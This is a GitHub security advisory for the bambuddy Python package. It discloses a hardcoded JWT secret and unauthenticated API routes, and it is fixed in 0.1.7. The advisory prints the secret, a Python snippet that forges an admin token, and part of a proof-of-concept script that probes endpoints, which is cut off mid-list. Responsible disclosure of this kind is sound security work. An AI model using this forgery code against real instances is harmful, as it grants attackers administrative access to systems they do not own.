GitHub Security Advisory: GHSA-gc24-px2r-5qmf
Package: bambuddy (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-306: Missing Authentication for Critical Function, CWE-321: Use of Hard-coded Cryptographic Key
Vulnerable versions: < 0.1.7
Patched in: 0.1.7

Summary: Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication

Details:
### Summary
1. A hardcoded secret key used for signing JWTs is checked into source code
2. ManyAPI routes do not check authentication

### Details
I am using the publicly available docker image at `ghcr.io/maziggy/bambuddy`
#### 1. Hardcoded JWT Secret Key
https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28

<details>
<summary>Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key</summary>

<img width="1591" height="937" alt="image" src="https://github.com/user-attachments/assets/fd6e805a-9380-438f-a412-623660fa3f5a" />

</details>

Any attacker can:
1. Forge valid JWT tokens for any user
2. Bypass authentication entirely
3. Gain full administrative access to any Bambuddy instance using the default key

**Steps to Reproduce:**

1. Run an instance of BamBuddy
2. Create admin user
3. Forge and use JWT:
```python
import jwt
import requests

token = jwt.encode({"sub": "admin", "exp":[PII_REDACTED]}, "bambuddy-secret-key-change-in-production", algorithm="HS256")
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})

print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
```

#### 2. Most API Routes do not check Auth
While investigating the JWT forgery, I noticed that requests without `Authorization` headers still returned information for many endpoints:
```python
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers

print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
```

#### Full Script and Output

Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.

<details>
<summary>Script to test GET endpoints with forged JWT and without any auth</summary>

```python3
#!/usr/bin/env python3
"""
Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)
For security research purposes only.

Tests all GET endpoints to identify which are accessible without authentication.
"""

import requests
import jwt

# Hardcoded secret from backend/app/core/auth.py:28
HARDCODED_SECRET = "bambuddy-secret-key-change-in-production"
TARGET = "http://10.0.0.4:8000"
API_PREFIX = "/api/v1"

# All GET endpoints organized by router
ENDPOINTS = {
    "system": [
        "/system/info",
    ],
    "auth": [
        "/auth/status",
        "/auth/me",
    ],
    "users": [
        "/users",
        "/users/1",
        "/users/1/items-count",
    ],
    "groups": [
        "/groups",
        "/groups/permissions",
        "/groups/1",
    ],
    "settings": [
        "/settings",
        "/settings/check-ffmpeg",
        "/settings/spoolman",
        "/settings/backup",
        "/settings/